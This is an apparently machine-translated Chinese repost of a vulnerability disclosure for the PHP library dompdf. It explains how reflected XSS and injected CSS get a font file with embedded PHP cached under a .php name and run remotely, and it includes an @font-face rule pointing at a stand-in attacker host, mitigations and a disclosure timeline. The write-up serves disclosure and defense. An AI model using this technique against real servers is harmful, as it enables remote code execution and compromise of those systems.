译文 | 从 XSS 到 RCE (dompdf 0day)
2022-3-17 12:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:23 收藏

开卷有益 · 不求甚解


前言

  • 流行的 PHP 库dompdf(用于从 HTML 呈现 PDF)存在允许在某些配置中远程执行代码的漏洞
  • 通过将 CSS 注入 dompdf 处理的数据中,它可以被诱骗在其字体缓存中存储带有.php文件扩展名的恶意字体,稍后可以通过从 Web 访问它来执行
  • 我们于 2021 年 10 月 5 日向 dompdf 报告了该漏洞。由于尚无补丁可用,我们现在发布有关该漏洞的详细信息,以告知公众风险和可能的解决方法

介绍

在去年的一次客户接触中,我们遇到了一个乍一看似乎相当难以理解的网站,因为它基本上是静态的:

目标网站(为了本文的目的,我们创建了一个简单的演示应用程序,该应用程序在相关方面的行为类似于客户的网站)

在调查该站点时,我们确实设法找到了反映的跨站点脚本 (XSS) 问题:

鉴于该站点没有在客户端的浏览器中存储任何敏感信息(例如身份验证 cookie),这本身就是一个低严重性的发现。

然而,在某些时候,一个有趣的功能引起了我们的注意。该网站提供了以 PDF 格式导出部分页面的选项:

有趣的功能:将网站导出为 PDF,在服务器上呈现

很快,反射型 XSS 变得更有趣了,因为它让我们也可以控制服务器端 PDF 生成器的输入:

在标题中注入 HTML 的网站,在服务器上呈现为 PDF

尽管无法注入 PDF 渲染器可以解释的 JavaScript,但我们能够注入任意 HTML(如上图所示,带有斜体字的“In PDF”标题)。

在导出的 PDF 上运行pdfinfo会告诉我们哪个库负责在服务器上呈现 PDF:

显示后端使用的 PDF 渲染器的 pdfinfo 输出

因此,我们知道后端(dompdf)中使用了哪个 HTML 到 PDF 转换器,以及哪个版本。

(请注意,客户端服务器上实际使用的版本是 v0.8.5,但由于我们将在此处显示的漏洞利用路径在最新版本 v1.2.0 上仍然有效,因此我们将使用此版本作为本文的目的. 在披露时,0.8.5 或 1.2.0 版本都没有已知漏洞。)

寻找漏洞

此时,我们将注意力转移到dompdf 的源代码上,看看我们是否能够找到可以让我们进一步访问服务器的漏洞。

引起我们注意的第一件事是在 PDF 渲染期间执行嵌入式 PHP 的选项,如果启用该选项,我们的工作将变得非常容易:

/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within  ...  tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
@var bool
*/

private $isPhpEnabled = false;

但是,这个功能后来被禁用了。(注意:如果您在服务器上运行 dompdf,您可能需要确保关闭此功能。“保护 dompdf”的官方指南对此表示赞同。)

下一个有趣的设置涉及远程资源的加载:

/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
@var bool
*/

private $isRemoteEnabled = false;

为了检查此设置的状态,我们使用 XSS 包含一个外部样式表(缩小图像并将其背景设置为浅灰色以进行测试):

因此,我们可以确认该设置已启用,并可以继续弄清楚这允许我们做什么。

第一种可能性:字体缓存索引

设置时$isRemoteEnabled(或版本 ≤ 0.8.5,无论此设置如何),dompdf 允许通过 font-face CSS 规则加载自定义字体,如下所示:

@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }

当使用外部字体时,dompdf 将其缓存在本地/lib/fonts子目录中,并在dompdf_font_family_cache.phpusing中添加相应的条目saveFontFamilies()。此函数将 dompdf 已知的字体编码为 PHP 数组,以及稍后查找它们所需的信息。

从我们在系统其他地方找到的日志文件中,我们已经怀疑 dompdf 存储在可从 web-root 访问的目录中,并且确实在尝试访问字体缓存索引时缺少错误消息似乎表明相同:

尝试直接访问字体缓存索引:空白页而不是错误消息

由于这意味着我们可以从外部访问的 PHP 文件是基于我们控制的输入生成的,因此这似乎是探索潜在漏洞的一个有价值的途径。

然而,我们对 (the $family) 有直接影响的唯一参数被充分转义addslashes(),从而使利用变得不可能。因此,我们不得不继续寻找更远的地方——尽管不是很远。

下一步:字体缓存

如果我们不能使用字体缓存索引……我们可以直接使用字体缓存吗?

让我们看看dompdf 如何注册新字体(为了清楚起见,这里以压缩形式显示):

/**
@param array $style
@param string $remoteFile
@param resource $context
@return bool
*/

public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);
   $styleString = $this->getType("{$style['weight']} {$style['style']}");

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]""_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/""", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));

   // Download the remote file
   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
   file_put_contents($localTempFile, $remoteFileContent);

   $font = Font::load($localTempFile);

   if (!$font) {
       unlink($localTempFile);
       return false;
   }

   $font->parse();
   $font->close();

   unlink($localTempFile);

   // Save the changes
   file_put_contents($localFile, $remoteFileContent);
   $this->saveFontFamilies();

   return true;
}

这段代码片段告诉我们一些事情:

  1. 新缓存字体的文件名是确定的,并且基于我们拥有的信息,即字体名称、选择的样式和其远程 URL 的哈希(第 9-19 行)。上面带有 URLhttp://attacker.local/test_font.ttf和权重/样式“正常”的测试字体将例如存储为testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
  2. 尽管已注意防止路径遍历漏洞的可能性(通过删除第 16 行和第 17 行中的潜在危险字符),但仍保留了字体的原始文件扩展名
  3. 字体必须是有效的,因为它必须能够在php-font-lib加载和解析中存活下来(第 28 和 35 行)

当检查php-font-lib 的源代码时,很快就发现这个库只检查字体的内部一致性,基于它的文件头,并且完全忽略了它的文件扩展名。那么,如果我们采用有效.ttf字体,<?php phpinfo(); ?>在其版权部分添加 a,将其存储为 'exploit_font .php ' 并通过注入的 CSS 文件包含它,会发生什么?好吧…

访问恶意字体文件时在受害者服务器上执行 phpinfo()

我们在github.com/positive-security/dompdf-rce上发布了演示应用程序和漏洞利用。

分析

安全漏洞通常是由于基于对底层或互连组件的错误假设而做出的(设计)决策。对于我们遇到的具体场景,我们可以确定三个对客户端服务器上的 RCE 漏洞有重大影响的决策/假设:

  1. “信任 php-font-lib 来检查字体应该没问题,因为它只接受有效的字体(并且具有适当的文件扩展名)”:这个假设是由 dompdf 开发人员做出的,结果证明是不正确的,因为php-font-lib 的有效字体概念只需要字体标题与其内部结构之间的一致性,而不管其文件扩展名如何
  2. “将 dompdf 的设置$isRemoteEnabled设置为 true 应该没问题,因为网站本身本质上是静态的,因此我们控制 PDF 渲染器的输入”:我们的客户做出的这个假设被反射的 XSS 漏洞打破
  3. “将 dompdf 放在外部可访问的子目录中应该没问题”:尽管我们的客户可能不是有意识地执行此操作,而是出于方便,但遗憾的是,该操作被误导了

尽管所有三个因素都是充分利用所必需的,但它们在“可预防性”方面有所不同。

导致字体漏洞的第一个决定是一个错误(尽管很不幸)很容易在任何复杂的软件项目中发生,并且基本上不可能完全避免。第二个决定增加了我们客户的攻击面,但对于实现预期的功能是必要的。

然而,第三个因素可能更为关键,因为它直接与'Securing dompdf'指南中概述的最高点相矛盾,该指南自 2016 年以来一直以这种形式存在。因此,从事后分析的角度来看,这是有道理的检查导致采取此步骤的工作流程,因为在没有正确评估其安全影响的情况下包含外部库将是最容易预防的因素。

影响

有许多用例需要在服务器端生成包含用户提供的输入的 PDF,例如购票、收据/发票或来自服务提供商的其他自动电子邮件,甚至是 Corona 测试证书。如果满足以下先决条件,其中一些服务可能也会受到影响:

  • dompdf 安装在可通过网络访问的目录中。例如,如果使用Composer将库安装在 docroot 内的某处而没有明确禁止访问该vendor文件夹,这很容易发生
  • 使用未充分清理的用户输入生成 PDF。这可能是通过例如 XSS 引起的,如此处所示,或通过将用户数据直接传递到后端(例如用户的姓名或地址)
  • 正在使用 dompdf 版本 ≤ 0.8.5,或$isRemoteEnabled设置为 true。请注意,版本 ≤ 0.8.5 不需要$isRemoteEnabled设置为易受攻击,因为即使设置已停用,它们也会加载某些远程元素(例如字体)

虽然我们没有安装编号,但 GitHub 指标表明 dompdf 是从 PHP 生成 PDF 的最流行选项:

图书馆星星叉子依赖回购
dompdf8.6k1.6k59.2k
活泼的4k421-
.pdf3.5k88616.6k
tcpdf3.2k1.3k14.5k
tc-lib-pdf1.2k18085

减轻

虽然目前还没有适用于 dompdf 的补丁,但您可以采取一些步骤来最大程度地降低暴露于此漏洞的风险。

  1. 确保 dompdf 未安装在 Web 可访问的目录中。这是最重要的一点,因为它将完全阻止漏洞利用
  2. 在将数据传递给 dompdf 之前仔细检查您执行的输入清理,以防止攻击者注入 HTML/CSS。无论如何,这是一个好主意,因为可能有其他漏洞可以以类似的方式触发
  3. 将 dompdf 更新到最新版本并关闭$isRemoteEnabled(如果可能的话)。尽管在发布本文时可用的最新版本 (1.2.0) 仍然容易受到该漏洞的影响,但它确实会$isRemoteEnabled在尝试从远程位置下载字体之前咨询该设置(与版本 ≤ 0.8.5 不同,后者只是忽略该设置在这种情况下)
  4. 最后,请留意修复此漏洞的 dompdf 补丁,并在可用时应用它。例如,您可以通过使用您选择的 Atom 阅读器订阅dompdf 的发布提要来保持最新状态

时间线

  • 2021-10-05漏洞报告给 [email protected](来自SECURITY.md)
  • 2021-10-08跟进报告
  • 2021-10-12创建了一个GitHub 问题以引起对报告的关注
  • 2021-10-13报告已确认,问题标记为“v2.0.0”
  • 2021-11-16版本 1.1.0 已发布,未修复
  • 2021-11-24版本 1.1.1发布,未修复
  • 2022-01-0390 天后首次报告
  • 2022-02-07版本 1.2.0 发布,未修复
  • 2022-02-07要求开发人员修补 Horizon 并通知他们即将披露的信息
  • 2022-02-16后续电子邮件
  • 2022-03-10后续电子邮件
  • 2022-03-15收到来自 dompdf 的回复,他们“无法提供表示【v2.0】此时更新”
  • 2022-03-16公开披露

结论

在调查客户端网站时,我们在 PDF 呈现 PHP 库 dompdf 中发现了一个漏洞,该漏洞允许我们将带有.php扩展名的字体文件上传到 Web 服务器。为了触发它,我们使用了一个 XSS 漏洞,该漏洞允许我们在网页呈现为 PDF 之前将 HTML 注入到网页中。由于 dompdf 安装在 Web 可访问的目录中(由于日志文件泄露,我们知道它的位置),我们可以导航到上传的.php脚本,让我们在服务器上执行代码。

位于 Web 可访问目录中并已$isRemoteEnabled激活的 dompdf 版本 ≤ 1.2.0 应被视为易受攻击,即使$isRemoteEnabled设置为 false,版本 ≤ 0.8.5 也应被视为易受攻击。

演示应用程序的漏洞利用文件和源代码可在 GitHub 上获得。

译文申明

  • 文章来源为近期阅读文章,质量尚可的,大部分较新,但也可能有老文章。
  • 开卷有益,不求甚解,不需面面俱到,能学到一个小技巧就赚了。
  • 译文仅供参考,具体内容表达以及含义, 以原文为准 (译文来自自动翻译)
  • 如英文不错的,尽量阅读原文。(点击原文跳转)
  • 每日早读基本自动化发布(不定期删除),这是一项测试

最新动态: Follow Me

微信/微博:red4blue

公众号/知乎:blueteams



文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247486143&idx=3&sn=55a0ddbf15c874ab4034d80015731ba7&chksm=fb35a377cc422a618b3388e90eebadd726e3a500869f35ce7e9d1385e190d3c3ab553d0abdda#rd
如有侵权请联系:admin#unsafe.sh